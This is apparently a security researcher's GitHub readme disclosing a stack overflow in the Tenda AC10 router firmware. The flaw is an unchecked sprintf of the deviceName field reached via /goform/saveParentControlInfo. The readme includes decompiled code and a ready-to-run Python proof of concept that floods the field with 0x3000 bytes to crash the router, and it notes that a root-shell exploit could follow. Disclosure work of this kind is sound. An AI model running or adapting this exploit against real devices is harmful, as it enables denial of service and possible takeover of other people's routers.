

main ▾

...

IOT_Vul / Tenda / AC10 / saveParentControllInfo / readme.md



z1r00 Update readme.md

History

1 contributor



66 lines (42 sloc) | 2 KB

...

Tenda AC10V15.03.06.23 Stack overflow vulnerability

Firmware information

- Manufacturer's address: <https://www.tenda.com.cn/>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2734.html>

Affected version

AC10V1.0升级软件 V15.03.06.23

立即下载

关联产品: AC10 v2.0 更新日期: 2017/10/18

1.此固件只适用于AC10且当前软件为V15.03.06.XX的机器升级,不同型号不能使用该软件,升级前请确定当前软件版本。

2.下载解压后,请使用有线连接路由器升级,升级过程中切勿切断电源,否则会导致机器损坏无法使用!

* 如果链接错误或其他问题,请反馈到 tenda@tenda.com.cn或联系[在线客服](#), 谢谢。

Vulnerability details

```
8  i = 0;
9  memset(pc_list, 0, sizeof(pc_list));
10 memset(rule_id, 0, sizeof(rule_id));
11 rule = 0;
12 ruleid = 0;
13 pc_macd = 0;
14 deviceId = websGetVar(wp, "deviceId", byte_518F08);
15 enable = websGetVar(wp, "enable", byte_518F08);
16 time = websGetVar(wp, "time", byte_518F08);
17 url_enable = websGetVar(wp, "url_enable", byte_518F08);
18 urls = websGetVar(wp, "urls", byte_518F08);
19 day = websGetVar(wp, "day", byte_518F08);
20 pc_mac = websGetVar(wp, "block", byte_518F08);
21 ctype = websGetVar(wp, "connectType", byte_518F08);
22 limit type = websGetVar(wp, "limit type", "1");
23 deviceName = websGetVar(wp, "deviceName", byte_518F08);
24 if ( *deviceName )
25     set_device_name(deviceName, deviceId);|
26 if ( !time )
```

```

34     {
35         if ( !strcmp("on", cgi_debug_0) )
36             printf(
37                 "%s[%s:%s:%d] %sset device name %s == %s\n\x1B[0m",
38                 debug_color_6[3],
39                 "cgi",
40                 "set_device_name",
41                 1511,
42                 debug_color_6[1],
43                 mac_addr,
44                 dev_name);
45     }
46     sprintf(mib_name, "client.devicename%s", mac_addr);
47     sprintf(mib_vlaue, "%s;1", dev_name); // vuln
48     SetValue(mib_name, mib_vlaue);
49     return 0;
50 }
51 }
52 else

```

/goform/saveParentControlInfo, In saveParentControlInfo, deviceName and deviceId are controllable and will be passed into the set_device_name function. In the set_device_name function, dev_name will be spliced into mib_vlaue by sprintf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

Poc

```

import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x3000
p2 = b'deviceId=1&deviceName=' + p1

p3 = b"POST /goform/saveParentControlInfo" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn

```

```
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) + rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```



You can see the router crash, and finally we can write an exp to get a root shell